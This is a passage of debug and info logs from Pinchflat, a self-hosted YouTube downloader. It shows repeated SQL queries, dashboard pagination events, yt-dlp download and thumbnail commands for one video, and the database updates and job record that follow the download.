"sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:23:27.417 [debug] QUERY OK source="media_items" db=0.5ms idle=407.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 22:23:27.418 [debug] QUERY OK source="sources" db=0.1ms idle=355.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:27.418 [debug] Replied in 1ms 22:23:27.578 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LqQ-Z-kIRLM --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6e/a7/6ea76b181f88f242217645a7b293274650622ae805a40b13b3fbd54a979d6adf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:23:27.588 [debug] Running yt-dlp command for action: download_thumbnail 22:23:27.588 [debug] QUERY OK source="settings" db=0.0ms idle=526.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:27.589 [debug] QUERY OK source="settings" db=0.0ms idle=526.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:27.589 [debug] QUERY OK source="settings" db=0.0ms idle=172.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:27.589 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LqQ-Z-kIRLM --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/88/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/9a/c9/9ac98226d415efb44015a81b9865977eb0b4caf9a90a39dfe91384ae9cb04427.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:23:27.882 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:23:27.882 [debug] QUERY OK source="media_items" db=0.3ms idle=464.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:23:27.883 [debug] QUERY OK source="media_items" db=0.3ms idle=464.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 10] 22:23:27.883 [debug] QUERY OK source="sources" db=0.0ms idle=294.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:27.883 [debug] Replied in 1ms 22:23:28.310 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:23:28.311 [debug] QUERY OK source="media_items" db=0.7ms idle=721.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:23:28.313 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=428.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 15] 22:23:28.314 [debug] QUERY OK source="sources" db=0.4ms idle=430.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:28.314 [debug] Replied in 4ms 22:23:28.881 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:29.072 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:23:29.073 [debug] QUERY OK source="media_items" db=0.8ms idle=760.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:23:29.074 [debug] QUERY OK source="media_items" db=1.0ms idle=760.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 20] 22:23:29.076 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=760.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:29.076 [debug] Replied in 4ms 22:23:29.313 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:23:29.314 [debug] QUERY OK source="media_items" db=0.8ms idle=431.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:23:29.315 [debug] QUERY OK source="media_items" db=0.9ms idle=302.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 25] 22:23:29.316 [debug] QUERY OK source="sources" db=0.2ms idle=242.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:29.316 [debug] Replied in 3ms 22:23:30.421 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:23:30.422 [debug] QUERY OK source="media_items" db=0.4ms idle=1345.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:23:30.423 [debug] QUERY OK source="media_items" db=0.4ms idle=1108.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 20] 22:23:30.423 [debug] QUERY OK source="sources" db=0.1ms idle=1107.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:30.423 [debug] Replied in 1ms 22:23:30.519 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LqQ-Z-kIRLM --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/88/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/9a/c9/9ac98226d415efb44015a81b9865977eb0b4caf9a90a39dfe91384ae9cb04427.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:23:30.519 [debug] QUERY OK db=0.0ms idle=1203.6ms begin [] 22:23:30.520 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:23:27Z], "/downloads/Last Meals/2022-12-06 Kallmekris Eats Her Last Meal/Kallmekris Eats Her Last Meal [LqQ-Z-kIRLM].mp4", ~U[2026-03-28 02:23:30Z], 88] 22:23:30.521 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/88/metadata.json.gz", "/config/metadata/media_items/88/thumbnail.jpg", 88, ~U[2026-03-28 02:23:30Z], ~U[2026-03-28 02:23:30Z]] 22:23:30.521 [debug] QUERY OK db=0.0ms commit [] 22:23:30.522 [debug] QUERY OK source="media_items" db=1.0ms idle=506.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [272842637, ~U[2026-03-28 02:23:30Z], 88] 22:23:30.522 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:23:30.522 [info] {"args":{"id":88},"id":87,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":86555034,"event":"job:stop","queue_time":5594967388,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:23:30.523 [debug] QUERY OK source="tasks" db=0.3ms idle=99.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:23:30.523 [debug] QUERY OK source="tasks" db=0.3ms idle=99.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:23:30.523 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [87] 22:23:30.523 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", 